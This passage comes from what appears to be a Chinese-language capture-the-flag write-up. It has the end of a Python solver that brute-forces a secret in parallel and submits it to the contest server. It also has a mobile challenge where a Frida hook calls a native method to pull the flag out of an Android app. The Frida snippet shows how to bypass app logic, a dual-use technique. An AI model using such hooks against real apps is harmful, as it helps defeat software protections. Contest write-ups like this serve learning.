
mul *= P

if key not in left_map:

continue

left_candidates = left_map[key]

for l in left_candidates:

s_val = l | (r << LEFT_BITS)

if K_CHECK > 0 and not quick_check_candidate(s_val, A, B_list, check_times_quick):

continue

if full_check_candidate(s_val, A, B_list):

# 找到答案,放入队列并设置停止事件

result_queue.put((s_val, proc_id, time.time() - t0))

stop_event.set()

return

# 进度打印(仅本进程打印,避免过多输出)

if (r - r_start) % PRINT_PROGRESS_EVERY == (PRINT_PROGRESS_EVERY - 1):

elapsed = time.time() - t0

rate = processed / elapsed if elapsed > 0 else 0

remain = (total - processed) / rate if rate > 0 else float('inf')

print(f"[P{proc_id}] r {r}/{r_end} processed {processed}/{total} rate={rate:.1f} it/s est_remain={remain:.1f}s")

# 本进程区间搜索完毕

return

except Exception as e:

# 若子进程出错,把错误放回主进程也能帮助 debug

result_queue.put(("ERR", proc_id, str(e)))

stop_event.set()

return

def find_secret_parallel(B_list):

A, C, U, D = build_problem_from_B(B_list)

# 分片 r 空间

num_procs = PROCESSES

chunk_size = (RIGHT_SIZE + num_procs - 1) // num_procs

procs = []

stop_event = Event()

result_queue = Queue(maxsize=1)

# 启动子进程

for i in range(num_procs):

r_start = i * chunk_size

r_end = min((i + 1) * chunk_size, RIGHT_SIZE)

p = Process(target=worker_proc, args=(i, r_start, r_end, B_list, A, U, D, TIME_INDICES, result_queue, stop_event))

p.start()

procs.append(p)

# 等待结果或所有进程结束

found = None

try:

# 阻塞等候直到有结果或所有子进程结束

while True:

if not result_queue.empty():

item = result_queue.get()

if isinstance(item, tuple) and item[0] == "ERR":

_, pid, errmsg = item

print(f"[ERROR] 子进程 {pid} 报错: {errmsg}")

found = None

break

else:

s_val, pid, t_used = item

print(f"[MAIN] 子进程 {pid} 找到 secret={s_val} 用时 {t_used:.2f}s")

found = s_val

break

alive = any(p.is_alive() for p in procs)

if not alive:

break

time.sleep(0.1)

finally:

# 确保停止信号发出并回收子进程

stop_event.set()

for p in procs:

p.join(timeout=1)

return found

def main():

host = "node8.anna.nssctf.cn"

port = 25543

try:

s = socket.socket()

s.settimeout(30)

s.connect((host, port))

print("已连接到服务器")

data = b""

while True:

chunk = s.recv(4096)

if not chunk:

break

data += chunk

if b">" in data:

break

banner = data.decode(errors="ignore")

print("Server banner (truncated):")

print(banner[:1000])

B_list = parse_B_list_from_banner(banner)

if B_list is None:

print("无法解析 B_list")

return

print("B_list:", B_list)

t0 = time.time()

secret = find_secret_parallel(B_list)

t_used = time.time() - t0

print("并行搜索总耗时: %.2f s" % t_used)

if secret is None:

print("未找到 secret")

return

print("找到 secret:", secret)

s.send(str(secret).encode() + b"\n")

# 读取服务器响应

try:

s.settimeout(5)

resp = b""

while True:

chunk = s.recv(4096)

if not chunk:

break

resp += chunk

except socket.timeout:

pass

print("服务器响应:", resp.decode(errors="ignore"))

s.close()

except Exception as e:

print("发生错误:", e)

if __name__ == "__main__":

main()

MOBILE

我是谁?!

拖入jadx分析

如果priv方法返回1,则调用PR.showCND(this),否则调用PR.showMultiDialogs(this, this.messages)。

this, this.messages 就是垃圾信息

所以这里猜测让他返回1 就能直接打印出flag

最开始尝试 直接hook priv方法,让他强制返回1,但是app直接闪退了

测试半天发现 我们可以直接获取flag字符串,不让他显示ui就行了

尝试直接调用PR.stringFromJNI()方法来获取flag字符串,而不显示对话框

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Java.perform(function() {

// 直接获取flag字符串

var PR = Java.use("com.example.nss_4th.ad.PR");

var prInstance = PR.$new();

var flag = prInstance.stringFromJNI();

console.log("[*] Flag: " + flag);



// 将flag发送到日志或文件

send(flag);

});